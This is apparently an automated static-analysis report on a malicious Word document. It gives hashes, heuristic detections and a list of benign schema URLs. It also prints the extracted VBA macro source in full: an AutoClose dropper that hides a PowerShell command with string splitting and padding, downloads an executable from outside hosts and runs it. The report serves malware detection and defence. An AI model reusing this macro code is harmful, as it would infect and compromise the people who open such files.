Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 2f299c864c23f624…

MALICIOUS

Office (OOXML) / .DOCX

74.8 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-14
MD5: b6240a40e126d77ec7e4364c72f46ac6 SHA-1: 9cce0f4209ac04b39f72a65265dda40726fdde35 SHA-256: 2f299c864c23f62441a0070e3b7cec9a642e20a6e628b8bdd7b60118eca512dd
290 Risk Score

Heuristics 8

  • ClamAV: Doc.Phishing.Trojan-f0f00f1e320f0ff8-10045462-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Phishing.Trojan-f0f00f1e320f0ff8-10045462-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
               CreateObject("WScript.Shell").Run fxUHtmKDylcbZCr + YoJiKZkbEROAHtD, 0
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
               CreateObject("WScript.Shell").Run fxUHtmKDylcbZCr + YoJiKZkbEROAHtD, 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
               CreateObject("WScript.Shell").Run fxUHtmKDylcbZCr + YoJiKZkbEROAHtD, 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1653 bytes
SHA-256: 55d0450504e5ed0658884984384c69e89aa7c30b466f31daa120f647c306df86
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
Dim RiJoZHjDvcenxfeUpZ
Dim SsJrTrlsEhIJkj
Dim XUFSDtAbqdb
SsJrTrlsEhIJkj = "$jaNjKWjD = 'hUWYtUWYtUWYpUWY:UWY/UWY/UWYlUWYoUWYsUWYtUWYgUWYoUWYnUWYeUWYfUWYlUWY.UWYtUWYoUWYpUWY/UWYaUWYdUWYmUWYiUWYnUWY.UWYpUWYhUWYpUWY?UWYfUWY=UWY1UWY.UWYdUWYaUWYtUWY,UWYhUWYtUWYtUWYpUWY:UWY/UWY/UWYtUWYsUWYiUWYvUWYnUWY.UWYcUWYoUWYmUWY.UWYvUWYnUWY/UWYsUWYyUWYsUWYtUWYeUWYmUWY/UWYlUWYoUWYgUWYsUWY/UWY.UWY.UWY.UWY/UWY1UWY,UWYhUWYtUWYtUWYpUWY:UWY/UWY/UWYlUWYoUWYnUWYgUWYvUWYaUWYnUWYcUWYeUWYrUWYaUWYmUWYiUWYcUWYsUWY.UWYcUWYoUWYmUWY.UWYvUWYnUWY/UWYiUWYmUWYaUWYgUWYeUWY/UWYfUWYlUWYaUWYgUWYsUWY/UWY.UWY.UWY.UWY/UWY1'  -replace 'UWY', '';"
RiJoZHjDvcenxfeUpZ = "$BDULerECXQ = $jaNjKWjD.Split(',');$DpfIIKN = $NBKk.next(1, 65536);$pXjz = $env:temp + '' + $DpfIIKN + '.exe';foreach($jjwxOK in $BDULerECXQ){try{$HidD.DownloadFile($jjwxOK.ToString(), $pXjz);Start-Process $pXjz;break;}catch{write-host $_.Exception.Message;}}"
XUFSDtAbqdb = SsJrTrlsEhIJkj + RiJoZHjDvcenxfeUpZ
 hlPnLmvLkJO (XUFSDtAbqdb)
End Sub
Function hlPnLmvLkJO(YoJiKZkbEROAHtD)
Dim fxUHtmKDylcbZCr
fxUHtmKDylcbZCr = "powe" + "rshell $HidD = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$NBKk = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run fxUHtmKDylcbZCr + YoJiKZkbEROAHtD, 0
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: eb45cc4e7411e2278cfebb6d06fd17b224acf06dc4da5f8f0f6d3401cc4c1b87